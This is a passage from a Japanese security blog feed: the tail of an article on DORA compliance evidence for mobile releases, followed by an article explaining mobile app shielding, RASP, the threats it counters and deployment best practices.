&lt;li&gt;承認と例外&lt;/li&gt;
&lt;li&gt;重要なジャーニーごとのプロバイダーマッピング&lt;/li&gt;
&lt;li&gt;性能低下とフォールバックの定義&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/dora-compliance-for-mobile-releases.html"&gt;第2回：モバイルリリースのためのDORAコンプライアンス&lt;/a&gt;からの制御結果&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/dora-mobile-resilience-drills.html"&gt;第3回：DORAモバイルレジリエンス訓練&lt;/a&gt;からのレジリエンスのエビデンス&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「エビデンスがある」と「監査対応ができている」の違いは取り出しやすさにあります。そのため、リリースバージョンで整理され、パックの内容を指し示す、シンプルなインデックスを維持してください。&lt;/p&gt;
&lt;p&gt;例外がギャップにならないよう、例外記録を標準化します。それは、スコープ（SDKまたはプロバイダー）、影響を受けるリリース、根拠、説明責任を負うリスクオーナー、代替的な制御、失効日またはレビュー日、そして承認のタイムスタンプを明示すべきです。これにより、「パッチを当てられなかった」が「オーナーと制御を伴う、期限を区切った判断を下した」へと変わります。&lt;/p&gt;
&lt;p&gt;そうすれば保持はシンプルになります。リリース記録、エビデンスパック、インデックスを、社内および規制上のポリシーに沿って保管するだけです。重要な性質は、エビデンスがバージョン単位でスコープ化され、インデックス化され、必要に応じて取り出せる状態にとどまることです。&lt;/p&gt;
&lt;h2 id="6) 経営層への報告(トレンド重視)"&gt;&lt;strong&gt;6) 経営層への報告（トレンド重視）&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;経営層のレベルでは、各リリースを蒸し返すことよりも、トレンドの可視性が目標となります。3つの指標がうまく機能する傾向があります。例外の経過期間は、リスクの判断が見直されているのか、それとも恒久化しつつあるのかを示します。SDKの脆弱性に対するパッチまでの時間は、自社のモバイルサプライチェーンが迅速に対応できているかを示します。リリースごとのSDK変更率は、依存関係のチャーンを示し、これはレビューの負荷や想定外のリスクと強く相関します。&lt;/p&gt;
&lt;h2 id="小さく始め、その後に拡大する"&gt;&lt;strong&gt;小さく始め、その後に拡大する&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;リリースの流れを止めることなく、段階的に実装します。可視性がてこを生むため、まずはSDKインベントリとリリースごとの差分から始めます。次に、新しいSDKとメジャーアップグレードの承認を加え、続いて禁止リストの適用と、期限を区切った例外を伴うパッチSLAの追跡を加えます。&lt;/p&gt;
&lt;p&gt;SDKガバナンスが安定したら、重要なジャーニーごとにプロバイダー依存関係をマッピングし、フォールバックの判断を文書化します。最後に、エビデンスパックのインデックスと保持を正式に定め、取り出しが特別なプロジェクトではなく日常的な作業になるようにします。&lt;/p&gt;</content><category term="Security"/><category term="DORA"/><category term="Compliance"/><category term="Mobile Security"/></entry><entry><title>モバイルアプリシールディングとは：その仕組みと実践</title><link href="https://blog.ostorlab.co/ja/mobile-application-shielding-threat-models-and-best-practices.html" rel="alternate"/><published>2026-04-13T12:00:00+02:00</published><updated>2026-04-13T16:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-04-13:/ja/mobile-application-shielding-threat-models-and-best-practices.html</id><summary type="html">&lt;p&gt;モバイルアプリケーションシールディングは、リバースエンジニアリング、改ざん、デバッグ、機密データへの不正アクセスを防ぎ、信頼できない端末上のアプリを保護します。端末が侵害されていても、重要なアプリロジック、機密情報、トランザクションをセキュリティチームが守れるようにします。&lt;/p&gt;</summary><content type="html">&lt;h2 id="モバイルアプリケーションシールディングとは"&gt;モバイルアプリケーションシールディングとは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;モバイルアプリケーションシールディング&lt;/a&gt;とは、セキュリティチームの管理が及ばない端末上で動作するモバイルアプリを保護するために、セキュリティ保護をアプリに直接組み込む手法です。転送中のデータや管理下のサーバーの保護に重点を置く従来のサーバーサイドの保護とは異なり、シールディングはクライアント側、つまりユーザーの端末に焦点を当てます。その端末は侵害されている可能性もあれば、実行時にアプリを操作するための計装環境として意図的に使われている可能性もあります。&lt;/p&gt;
&lt;p&gt;モバイルアプリケーションシールディングの核心は、アプリが&lt;strong&gt;リアルタイムで自らを防御&lt;/strong&gt;できるようにし、攻撃者によるリバースエンジニアリング、改変、機密データの抽出を困難にすることです。端末そのものが安全であると想定するのではなく、アプリを信頼できない環境で動作する安全なシステムとして扱います。&lt;/p&gt;
&lt;p&gt;実際には、アプリは自身が動作している環境に攻撃の試みの兆候がないかを継続的に監視し、信頼できない端末上であっても脅威に対応できるようになります。&lt;/p&gt;
&lt;p&gt;これは、&lt;a href="https://mas.owasp.org/MASVS/"&gt;&lt;strong&gt;OWASP Mobile Application Security Verification Standard（MASVS）&lt;/strong&gt;&lt;/a&gt;および&lt;a href="https://mas.owasp.org/MASTG/"&gt;&lt;strong&gt;OWASP Mobile Security Testing Guide（MSTG）&lt;/strong&gt;、&lt;/a&gt;に示されたレジリエンスの原則に沿ったものです。これらは、実行時の保護、改ざん耐性、そして計装された環境や侵害された環境に対する防御を重視しています。&lt;/p&gt;
&lt;h2 id="モバイルアプリケーションシールディングの実際の仕組み"&gt;モバイルアプリケーションシールディングの実際の仕組み&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルアプリシールディングの各レイヤーと実際の仕組みを示すインフォグラフィック" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-4-13_mobile_application_shielding_keep_your_mobile_app_safe_even_in_compromised_devices/layers-of-mobile-app-shielding-app-hardening-RASP-and-Data-security.png" title="モバイルアプリシールディングのレイヤー：アプリのハードニング、RASP、データセキュリティ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モバイルアプリシールディングのレイヤー：アプリのハードニング、RASP、データセキュリティ&lt;/figcaption&gt;&lt;/figure&gt;
モバイルアプリケーションシールディングは、複数の防御レイヤーをアプリに直接組み込み、セキュリティチームの管理が及ばない端末上での攻撃をアプリ自身が検知し、対応できるようにします。これらのレイヤーには、&lt;strong&gt;アプリのハードニング、動作環境の監視、脅威へのリアルタイムな対応、機密データの保護&lt;/strong&gt;が含まれます。それぞれが実際にどう機能するかを見ていきます。&lt;/p&gt;
&lt;h3 id="1. アプリケーションのハードニング"&gt;1. アプリケーションのハードニング&lt;/h3&gt;
&lt;p&gt;アプリケーションのハードニングは、アプリそのものを理解、改変、侵害しにくくすることに重点を置きます。このプロセスでは、重要なコードや関数を変換し、攻撃を成功させるために攻撃者に求められるスキルと労力を大幅に引き上げます。 &lt;/p&gt;
&lt;p&gt;アプリケーションのハードニングでは、アプリケーションのさまざまな部分を保護するために、複数の専門的な手法を用います。  &lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/kb/APK_NOT_OBFUSCATED/index.html"&gt;&lt;strong&gt;a. コードの難読化&lt;/strong&gt;&lt;/a&gt;&lt;br/&gt;
コードの難読化は、クラス、メソッド、変数の名前を意味のない識別子に変更し、制御フローを再構成します。これにより、逆コンパイルされたコードを読んだり解析したりすることが困難になります。高度な難読化手法では、メソッド呼び出しをエンコードしたり、紛らわしいコードパスを挿入したりすることもでき、プログラムのロジックを理解するのに必要な労力が増大します。難読化は、リバースエンジニアリングと改ざんのハードルを直接引き上げます。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;b. ホワイトボックス暗号&lt;/strong&gt;&lt;br/&gt;
ホワイトボックス暗号は、暗号鍵と暗号処理を難読化されたコードの中に埋め込み、メモリや実行時の処理から抽出できないようにします。これにより、攻撃者がアプリの動作環境に完全にアクセスできる場合でも、認証、暗号化、トークン生成といった機密性の高い処理が保護されます。標準的な暗号とは異なり、ホワイトボックス手法は実行環境が敵対的であることを前提としています。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;c. ネイティブコードの保護&lt;/strong&gt;&lt;br/&gt;
重要なロジック、暗号処理、機密性の高いアルゴリズムは、機械語にコンパイルされるネイティブコードに移すことができます。ネイティブコードはバイトコードよりも解析や改変が難しく、専門的なリバースエンジニアリングツールを必要とします。これにより、攻撃者にとって実行時の改ざんやコードインジェクションが大幅に難しくなります。  &lt;/p&gt;
&lt;p&gt;これらのハードニング手法を組み合わせて適用することで、悪用に必要なスキル、労力、時間が増し、コードレベルのセキュリティが強化されるとともに、検知と対応の対策を補完します。&lt;/p&gt;
&lt;h3 id="2. rasp(実行時アプリケーション自己保護)"&gt;2. RASP（実行時アプリケーション自己保護）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;実行時アプリケーション自己保護（Runtime Application Self-Protection）&lt;/strong&gt;は、動作環境を継続的に&lt;strong&gt;監視&lt;/strong&gt;し、&lt;strong&gt;脅威&lt;/strong&gt;に自動的に&lt;strong&gt;対応&lt;/strong&gt;することで、アプリが実行中に自らを防御できるようにします。アプリケーションの外部で動作する従来のセキュリティ制御とは異なり、&lt;strong&gt;RASP&lt;/strong&gt;はアプリに直接組み込まれるため、外部からの介入なしに攻撃をリアルタイムで検知し、阻止できます。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;a. 脅威の検知と監視&lt;/strong&gt;&lt;br/&gt;
アプリは、進行中の攻撃を示す可能性のある&lt;strong&gt;改ざん、デバッグ、異常なアクティビティ&lt;/strong&gt;の兆候がないか、動作環境を継続的に監視します。 &lt;/p&gt;
&lt;p&gt;この保護の中核となるのが&lt;strong&gt;完全性の検証&lt;/strong&gt;です。これは、アプリのバイナリが署名後に改変されていないことを確認するものです。この改ざん・再パッケージ化の検知により、ユーザーが実行しているのが、悪意あるコードを含んでいたり重要なセキュリティ制御を回避したりする改変版ではなく、正規のアプリであることが保証されます。&lt;/p&gt;
&lt;p&gt;静的なチェックに加えて、アプリは&lt;strong&gt;実行時解析の検知&lt;/strong&gt;も行います。これにより、攻撃者が実行中のアプリケーションにフックするために使うFridaやメモリインスペクターなどの高度な攻撃ツールを特定できます。実行時にアプリを解析・改変しようとする試みを認識することで、攻撃者がアプリの挙動を操作する前に、不正なデバッグをブロックできます。&lt;/p&gt;
&lt;p&gt;最後に、アプリは&lt;strong&gt;端末のセキュリティ評価&lt;/strong&gt;を行い、オペレーティングシステムの保護が回避されたroot化端末やジェイルブレイク端末上で動作していないかを判定します。root検知にとどまらず、異常な処理の流れ、メモリの変化、APIアクセスのパターンも監視し、疑わしい実行時のアクティビティに対する防御をさらに一層強化します。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;b. 自動対応アクション&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;検知だけでは十分ではありません。&lt;strong&gt;RASP&lt;/strong&gt;により、アプリは脅威を特定した時点で即座に対応し、機密データや重要なロジックが侵害される前に攻撃を阻止できます。 &lt;/p&gt;
&lt;p&gt;重要な仕組みの一つが&lt;strong&gt;機能制限&lt;/strong&gt;です。アプリが危険な環境を検知すると、機密性の高い機能やデータへのアクセスをブロックします。これにより、攻撃者が端末を部分的に制御できたとしても、アプリケーションの最も重要な部分には到達できません。&lt;/p&gt;
&lt;p&gt;より深刻なケースでは、&lt;strong&gt;自己終了&lt;/strong&gt;によって、アプリが危険なプロセスを停止したり、アプリ自体を完全に終了したりできます。これは極端に思えるかもしれませんが、攻撃者による機密情報の抽出や重要なトランザクションの操作を効果的に防ぎます。&lt;/p&gt;
&lt;p&gt;アプリは&lt;strong&gt;レポートとアラート&lt;/strong&gt;の機能も備え、監視と分析のためにイベントをバックエンドサーバーへ送信します。このテレメトリにより、セキュリティチームは攻撃の試みを可視化でき、組織は時間をかけて防御を改善していくことができます。&lt;/p&gt;
&lt;p&gt;これらの機能を組み合わせることで、&lt;strong&gt;RASP&lt;/strong&gt;は侵害された端末上でもアプリのレジリエンスを維持し、遭遇する脅威に応じてセキュリティ態勢をリアルタイムで適応させます。&lt;/p&gt;
&lt;h3 id="3. 機密データの保護"&gt;3. 機密データの保護&lt;/h3&gt;
&lt;p&gt;攻撃者が端末にアクセスできる場合でも、シールディングはアプリが処理または保存する情報を保護します。暗号化と安全なストレージによって、認証情報、トークン、その他の機密データを守ります。アプリシールディングが実際にデータをどう保護するかを紹介します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;a. メモリ内シールディング&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;シールディングツールは、機密データがRAM上で処理されている間、それを能動的に監視し「スクランブル」します。これにより、実行中に一時的に暗号化されていない状態にあるパスワードやトークンをハッカーが読み取ろうとする、メモリスクレイピングやバッファダンプ攻撃を防ぎます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;b. データアクセスのための環境の完全性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;シールディングは、端末が安全な場合にのみ、アプリが安全なストレージ（Keychain/Keystoreなど）を使用できるようにします。端末が安全でない場合（たとえばroot化されている、改ざんされている、攻撃を受けている場合）、アクセスをブロックし、機密データが盗まれたり悪用されたりしないよう保護します。デバッガーやフックされたメソッドを検知した場合には、トークンなどの機密データをOSに要求する前に、アプリを即座に停止させることもできます。&lt;/p&gt;
&lt;h2 id="アプリシールディングが防ぐ代表的なモバイルの脅威"&gt;アプリシールディングが防ぐ代表的なモバイルの脅威&lt;/h2&gt;
&lt;p&gt;自社の管理が及ばない端末上で動作するモバイルアプリケーションは、さまざまなリスクにさらされています。攻撃者は、機密データの抽出、ロジックの操作、保護の回避を目的としてアプリを狙います。こうした脅威を理解することで、セキュリティチームはモバイルアプリケーションシールディングが真の価値を発揮する場面を見極められます。&lt;/p&gt;
&lt;h3 id="モバイルアプリケーションに対する代表的な脅威"&gt;モバイルアプリケーションに対する代表的な脅威&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルアプリに対する代表的な脅威のインフォグラフィック" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-4-13_mobile_application_shielding_keep_your_mobile_app_safe_even_in_compromised_devices/Common-threats-to-mobile-apps-that-aren't-using-app-shielding.png" title="アプリシールディングを使用していないモバイルアプリに対する代表的な脅威"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;アプリシールディングを使用していないモバイルアプリに対する代表的な脅威&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h4 id="リバースエンジニアリング"&gt;リバースエンジニアリング&lt;/h4&gt;
&lt;p&gt;リバースエンジニアリングは、攻撃者がアプリの内部動作を理解するために最初に行うことの多いステップです。コンパイルされたコードを解析することで、より高度な攻撃を仕掛ける前に、機密性の高いロジックを明らかにし、弱点を特定できます。&lt;/p&gt;
&lt;p&gt;攻撃者は、逆コンパイラーや逆アセンブラー、あるいは&lt;a href="https://github.com/skylot/jadx"&gt;JADX&lt;/a&gt;や&lt;a href="https://github.com/nationalsecurityagency/ghidra"&gt;Ghidra&lt;/a&gt;といったリバースエンジニアリングフレームワークを使って、アプリのバイナリを調べることがよくあります。これにより、攻撃者は次のことが可能になります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;独自のアルゴリズム、認証ロジック、暗号化ルーチンを突き止める  &lt;/li&gt;
&lt;li&gt;APIキー、トークン、暗号鍵などのハードコードされたシークレットを抽出する  &lt;/li&gt;
&lt;li&gt;セキュリティ制御の回避に悪用できるエンドポイント、プロトコル、内部ワークフローを特定する  &lt;/li&gt;
&lt;li&gt;偽のリクエストの作成や、アプリの弱点を狙った自動エクスプロイトなど、より高度な攻撃を準備する&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="改ざんと再パッケージ化"&gt;改ざんと再パッケージ化&lt;/h4&gt;
&lt;p&gt;アプリを理解した攻撃者は、それを改変したり、悪意あるバージョンを再配布したりすることがあります。これには、アプリを複製して見た目を変更し、元のアプリケーションになりすましたり信頼のための制御を回避したりする、リスキン攻撃も含まれます。&lt;/p&gt;
&lt;p&gt;Android向けの&lt;a href="https://github.com/ibotpeaches/apktool"&gt;Apktool&lt;/a&gt;などのツールを使えば、アプリの逆コンパイル、改変、再ビルドを簡単に行えます。&lt;/p&gt;
&lt;p&gt;攻撃者がアプリのAPK/IPAを改変すると、次のような事態が起こり得ます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;認証チェック、ライセンス検証、アプリ内決済のフローが回避される  &lt;/li&gt;
&lt;li&gt;ユーザーのスパイ、データの窃取、マルウェアの拡散のために悪意あるコードが注入される  &lt;/li&gt;
&lt;li&gt;完全性チェックが削除され、持続的な不正アクセスが可能になる  &lt;/li&gt;
&lt;li&gt;再パッケージ化されたアプリが非公式ストアで配布され、ユーザーの信頼とブランドの評判が損なわれる&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="不正なデバッグやフッキング"&gt;不正なデバッグやフッキング&lt;/h4&gt;
&lt;p&gt;攻撃者は、アプリを恒久的に改変する代わりに、動的解析ツールを使ってアプリとリアルタイムにやり取りすることもできます。これにより、攻撃はより柔軟になり、検知もより難しくなります。&lt;/p&gt;
&lt;p&gt;攻撃者は&lt;a href="https://frida.re/"&gt;Frida&lt;/a&gt;などの実行時解析ツールを使って、アプリの挙動をリアルタイムで傍受・操作します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;関数呼び出しをフックして、出力を変えたり検証を回避したりできる  &lt;/li&gt;
&lt;li&gt;メモリ上の機密データ（パスワード、トークン、暗号鍵）を取得できる  &lt;/li&gt;
&lt;li&gt;バイナリを恒久的に改変することなく、アプリのロジックを動的にテストし、悪用できる  &lt;/li&gt;
&lt;li&gt;アプリ内課金、機能フラグ、セキュリティチェックをリアルタイムで操作できる&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="root化端末やジェイルブレイク端末"&gt;root化端末やジェイルブレイク端末&lt;/h4&gt;
&lt;p&gt;侵害された端末では、オペレーティングシステムに組み込まれた保護が弱まり、攻撃者はアプリとそのデータに対してはるかに深いアクセス権を得ます。&lt;/p&gt;
&lt;p&gt;Androidでは通常、端末のroot化が、iOSではジェイルブレイクがこれにあたり、いずれもアプリとユーザーデータを保護するための重要なシステム制限を取り除きます。そのため、&lt;a href="https://docs.ostorlab.co/kb/APK_CHECK_ROOT/index.html"&gt;端末がroot化されているかどうかの検知&lt;/a&gt;は、モバイルアプリケーションを保護するうえで重要な最初のステップです&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリのサンドボックスとOSの保護が弱まる、または回避される  &lt;/li&gt;
&lt;li&gt;攻撃者が昇格した権限を得て、アプリのストレージ、システムログ、他のアプリのデータを読み書きできるようになる  &lt;/li&gt;
&lt;li&gt;OSの完全性に依存するセキュリティの仕組み（Keychain、SharedPreferencesの暗号化、SafetyNet/DeviceCheckなど）が回避され得る  &lt;/li&gt;
&lt;li&gt;動的な攻撃のためのフック、デバッガー、メモリスキャナーの導入が容易になる&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="実行時の操作"&gt;実行時の操作&lt;/h4&gt;
&lt;p&gt;実行時の操作とは、攻撃者が実行中のアプリに干渉し、バイナリを改変することなく、その挙動を変えたり、チェックを回避したり、機密データを抽出したりすることです。&lt;/p&gt;
&lt;p&gt;ここでも&lt;strong&gt;Frida&lt;/strong&gt;などのツールが、デバッグツールやメモリ検査ツールとともによく使われ、関数をフックして実行フローをリアルタイムで変更します。&lt;/p&gt;
&lt;p&gt;攻撃者は次のようなことを行う可能性があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;メモリ上の値を変更して検証をスキップする&lt;/li&gt;
&lt;li&gt;実行時の状態を改変してAPI呼び出しを傍受またはリプレイする&lt;/li&gt;
&lt;li&gt;アプリの関数をフックして実行中のロジックを変更する&lt;/li&gt;
&lt;li&gt;メモリから機密データを直接抽出する&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="osレベルの悪意あるインタラクション攻撃"&gt;OSレベルの悪意あるインタラクション攻撃&lt;/h4&gt;
&lt;p&gt;攻撃者は、オペレーティングシステムの機能や他のアプリを悪用し、標的のアプリケーションと意図しない方法でやり取りすることができます。これらの攻撃はアプリ自体を改変するのではなく、OS環境の中でのアプリの振る舞いを悪用します。&lt;/p&gt;
&lt;p&gt;代表的な手法は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アクセシビリティの悪用&lt;/strong&gt;：画面の内容を読み取ったり、ユーザーの操作を自動化したりするために使われる  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オーバーレイ攻撃（cloak &amp;amp; dagger型）&lt;/strong&gt;：認証情報などの入力を取得する  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;タスクハイジャック&lt;/strong&gt;：アプリのナビゲーションやセッションの流れを操作する  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デバイス管理者権限の悪用&lt;/strong&gt;：端末やアプリの挙動に対する昇格した制御権を得る&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;攻撃者が使うのと同じ手法でモバイルアプリをテストするためのツールに興味がありますか。&lt;a href="https://blog.ostorlab.co/top-10-mobile-pentesting-tools-in-2026.html"&gt;&lt;strong&gt;2026年のモバイルペンテストツール トップ10&lt;/strong&gt;&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h3 id="モバイルアプリケーションシールディングはこれらの脅威をどう防ぐか"&gt;モバイルアプリケーションシールディングはこれらの脅威をどう防ぐか&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;シールディングはアプリを無敵にするわけではありませんが、攻撃を成功させるために攻撃者に求められるコスト、労力、技術的スキルを大幅に引き上げます。&lt;/strong&gt;このように引き上げられたハードルは、現実の脅威の大半を抑止し、攻撃者に試みを断念させるか、機会を狙った攻撃としては現実的でないほどのリソースを投じさせることになります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;脅威&lt;/th&gt;
&lt;th&gt;アプリシールディングによる保護&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;リバースエンジニアリング&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コードの難読化、制御フローの変換、ネイティブコードの保護により、逆コンパイルされたコードを理解・解析しにくくする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;改ざんと再パッケージ化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;完全性チェック、署名の検証、改ざん防止の仕組みを適用し、改変・複製されたアプリを検知して、不正なビルドをブロックする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;不正なデバッグやフッキング&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実行時の計装ツールを検知し、関数フックの試みをブロックし、デバッグやコードインジェクションの挙動を監視する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;root化端末やジェイルブレイク端末&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;端末の完全性チェックを行って侵害された環境を検知し、OSの保護が回避されている場合は機密性の高い機能を制限またはブロックする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;実行時の操作&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RASPベースの監視により、異常な実行の挙動、メモリの操作、APIレベルの干渉をリアルタイムで検知する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OSレベルの悪意あるインタラクション攻撃&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;オーバーレイの試み、アクセシビリティの悪用、タスクハイジャック、UIや入力の不正な制御など、アプリに対する異常なインタラクションを検知し、機密性の高いユーザーフローを保護するか実行をブロックする。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="モバイルアプリケーションシールディングのユースケース"&gt;モバイルアプリケーションシールディングのユースケース&lt;/h2&gt;
&lt;p&gt;モバイルアプリケーションシールディングは、自社の管理が及ばない端末上で機密データを処理したり、金融取引を管理したり、独自のビジネスロジックを含んだりするアプリに不可欠です。シールディングの用途は幅広いものの、ここでは大きな保護効果を発揮する代表的なシナリオを例として紹介します。&lt;/p&gt;
&lt;h3 id="1. 銀行・フィンテックアプリ"&gt;1. &lt;a href="https://ostorlab.co/solutions/banking"&gt;&lt;strong&gt;銀行・フィンテックアプリ&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;銀行アプリでは、攻撃者が常にアプリそのものを狙うとは限りません。よくある手口は、アクセシビリティサービスや画面オーバーレイの権限を悪用し、本物のアプリとそっくりな偽のログイン画面を表示するというものです。ユーザーから見るとすべてが普段どおりに見えますが、実際には認証情報が盗まれていたり、取引が気づかれないうちに操作されていたりします。&lt;/p&gt;
&lt;p&gt;ここでモバイルアプリケーションシールディングの出番です。攻撃が端末レベルで始まったとしても、シールディングはアプリ内部の重要な部分を守ります。認証フローを保護し、改ざんを検知し、支払いや送金といった機密性の高い操作に保護策を追加します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/banking-report-2025.html"&gt;Ostorlabによる500以上のモバイルバンキングアプリの分析&lt;/a&gt;では、50%を超えるアプリでハードコードされたクラウドの認証情報が、20%で平文のHTTPが見つかりました。これは、実行時の保護とモバイルアプリケーションシールディングが、今やあらゆる金融機関にとって不可欠である理由を示しています&lt;/p&gt;
&lt;h3 id="2. ゲームアプリ"&gt;2. &lt;a href="https://ostorlab.co/solutions/mobile_gaming"&gt;&lt;strong&gt;ゲームアプリ&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;チーターやハッカーは、アプリ内課金を操作したり、レベルをスキップしたり、不当な優位性を得たりすることができます。 &lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.gamespress.com/GAMINGS-CHEATING-CRISIS-REVEALED-IN-FULL-BY-PLAYSAFE-ID"&gt;PlaySafe IDの2025年版「Gaming&amp;rsquo;s Cheating Crisis Report」&lt;/a&gt;によると、ゲーマーの80%がオンラインゲームで不正行為に遭遇しており、半数を超えるゲーマー（55%）が不正行為を理由にゲーム内課金を減らすかやめています。そのため、アプリ内課金と進行状況のロジックを保護することがいっそう重要になります。&lt;/p&gt;
&lt;p&gt;モバイルアプリケーションシールディングは、ゲームのコードをハードニングして改ざんに耐えられるようにし、チーターが支払いの回避や機能のアンロックに使うフッキングツールをブロックし、プレミアムコンテンツと支払いフローを固めて端末上で簡単に操作されないようにすることで、この問題に対処します。&lt;/p&gt;
&lt;h3 id="3. ヘルスケアアプリ"&gt;3. &lt;a href="https://ostorlab.co/solutions/healthcare"&gt;&lt;strong&gt;ヘルスケアアプリ&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;患者データは非常に機密性が高く、侵害されている可能性のある個人の端末で扱われることも少なくありません。シールディングは、root化、ジェイルブレイク、デバッグ有効化された端末上であっても、健康記録、認証トークン、医療機器との通信を保護します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC8449631/"&gt;Androidのモバイルヘルス（mHealth）アプリに関するある学術研究&lt;/a&gt;では、&lt;strong&gt;45%が暗号化されていない通信に依存&lt;/strong&gt;しており、&lt;strong&gt;個人データ（位置情報、認証情報、ユーザー識別子）の約23%&lt;/strong&gt;が安全でないチャネルで送信されていることが分かりました。&lt;/p&gt;
&lt;p&gt;これらの例は、リスクの高いアプリケーションでシールディングがいかにセキュリティを強化するかを示していますが、その利点は、信頼できない端末上で機密性の高いロジック、データ、トランザクションを扱うあらゆるアプリに及びます。&lt;/p&gt;
&lt;h2 id="モバイルアプリケーションシールディング導入のベストプラクティス"&gt;モバイルアプリケーションシールディング導入のベストプラクティス&lt;/h2&gt;
&lt;p&gt;モバイルアプリケーションシールディングを効果的に導入するには、アプリに保護を組み込むだけでは不十分です。ユーザー体験を損なうことなく防御の有効性を維持するには、体系化されたプロセス、自動化、継続的な検証が必要です。セキュリティチームにとって重要なベストプラクティスを紹介します。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. シールディングを早期に開始する&lt;/strong&gt;&lt;br/&gt;
開発段階からシールディングによる保護の組み込みを始めます。これにより、重要なロジック、機密データ、セキュリティ対策が初日から保護されます。早期に組み込むことで、セキュリティ上の問題が高コストになったり修正しにくくなったりする前に対処しやすくなります。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. シールディングをCI/CDパイプラインに組み込む&lt;/strong&gt;&lt;br/&gt;
シールディングは、自動化されたビルドとリリースのプロセスの一部であるべきです。CI/CDパイプラインに保護を直接組み込むことで、すべてのアプリのビルドに最新のセキュリティ対策が一貫して含まれるようになります。これにより人為的ミスが減り、リリース全体で均一なカバレッジが確保され、シールディングが開発ライフサイクルに不可欠な要素となります。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. テストツールでシールディングを継続的に検証する&lt;/strong&gt;&lt;br/&gt;
シールディングの仕組みが正しく適用され、有効であり続けているかを定期的に確認します。静的・動的アプリケーションセキュリティテスト（AST）などの自動化されたセキュリティテストツールを使い、コードの難読化、実行時の防御、安全なストレージといった重要な保護が、各ビルドで意図したとおりに機能していることを検証します。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. テレメトリを監視し、改ざんの試みをアラートで通知する&lt;/strong&gt;&lt;br/&gt;
シールディングを施したアプリから実行時のテレメトリを収集し、アプリケーションのリバースエンジニアリング、改ざん、デバッグといった不正な試みを検知します。セキュリティチームはこうした知見を活用して、攻撃パターンを特定し、先手を打って対応し、アプリの防御を継続的に改善できます。  &lt;/p&gt;
